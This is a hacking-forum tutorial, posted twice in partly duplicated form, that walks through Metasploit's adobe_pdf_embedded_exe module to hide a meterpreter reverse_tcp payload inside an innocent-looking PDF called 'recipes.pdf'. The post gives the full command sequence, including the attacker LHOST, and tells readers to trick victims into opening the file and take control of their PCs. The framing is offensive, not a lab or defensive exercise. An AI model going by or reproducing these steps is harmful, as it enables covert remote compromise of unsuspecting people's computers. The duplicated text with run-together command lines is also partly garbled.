Hello Again HF!,
Welcome to another Hacking Tutorial by MeshCollider.
If you are interested, here are links to my other hacking tutorials:Spoiler (Click to View)
The most popular PDF viewer in the world is Adobe Reader. Adobe has had a lot of security flaws in its products, but most users are unaware and continue to use old, unpatched versions. in fact, over 60% of people still have Adobe reader 9 or earlier installed. These are the versions we will exploit.
We will be adding a rootkit into an innocent PDF file, which we can then distribute to our victims to "own" them.
1) Run Metasploit
Check out my previous tutorials on how to set up and use metasploit
2) Find the Appropriate Exploit
We will search metasploits database for an exploit for adobe pdf on windows, using this command:
You should see the exploit "exploit/windows/fileformat/adobe_pdf_embedded_exe", which we will use:
3) Set the Payload
We will use the meterpreter payload again, because it is one of the most powerful payloads available to us:
4) Set the exploit options
First, display the required options for the exploit:
You can see that we must provide an existing PDF file to the INFILENAME option in which to embed the meterpreter payload. I will call it "example.pdf":
The next option is the output file name, FILENAME. Change this to something innocent that will attract users to open it:
msf > exploit (adobe_pdf_embedded_exe) > set FILENAME recipes.pdf
Finally, we need to specify the LHOST, which is our (the attackers) IP address. Mine is 192.168.1.8:
5) Run the Exploit!
Now that all the options are set, we can run the exploit like this:
Metasploit has created a PDF named recipes.pdf that contains the Meterpeter listener. Now, simply get users to open the pdf (Social Engineering again), and you will get instant control of their PC! easy as 🙂
Thanks for reading, please reply with your thanks if you enjoyed this and/or found it useful.
Watch out for future hacking tutorials from me - further wireless cracking, metasploit and other common hacking topics!
Written by MeshCollider 🤝
Welcome to another Hacking Tutorial by MeshCollider.
If you are interested, here are links to my other hacking tutorials:Spoiler (Click to View)
The most popular PDF viewer in the world is Adobe Reader. Adobe has had a lot of security flaws in its products, but most users are unaware and continue to use old, unpatched versions. in fact, over 60% of people still have Adobe reader 9 or earlier installed. These are the versions we will exploit.
We will be adding a rootkit into an innocent PDF file, which we can then distribute to our victims to "own" them.
1) Run Metasploit
Check out my previous tutorials on how to set up and use metasploit
2) Find the Appropriate Exploit
We will search metasploits database for an exploit for adobe pdf on windows, using this command:
Code
msf > search type:exploit platform:windows adobe pdfCode
msf > use exploit/windows/fileformat/adobe_pdf_embedded_exe3) Set the Payload
We will use the meterpreter payload again, because it is one of the most powerful payloads available to us:
Code
msf > exploit (adobe_pdf_embedded_exe) > set payload windows/meterpreter/reverse_tcp4) Set the exploit options
First, display the required options for the exploit:
Code
msf > exploit (adobe_pdf_embedded_exe) > show optionsCode
msf > exploit (adobe_pdf_embedded_exe) > set INFILENAME example.pdfmsf > exploit (adobe_pdf_embedded_exe) > set FILENAME recipes.pdf
Finally, we need to specify the LHOST, which is our (the attackers) IP address. Mine is 192.168.1.8:
Code
msf > exploit (adobe_pdf_embedded_exe) > set LHOST 192.168.1.85) Run the Exploit!
Now that all the options are set, we can run the exploit like this:
Code
msf > exploit (adobe_pdf_embedded_exe) > exploitThanks for reading, please reply with your thanks if you enjoyed this and/or found it useful.
Watch out for future hacking tutorials from me - further wireless cracking, metasploit and other common hacking topics!
Written by MeshCollider 🤝
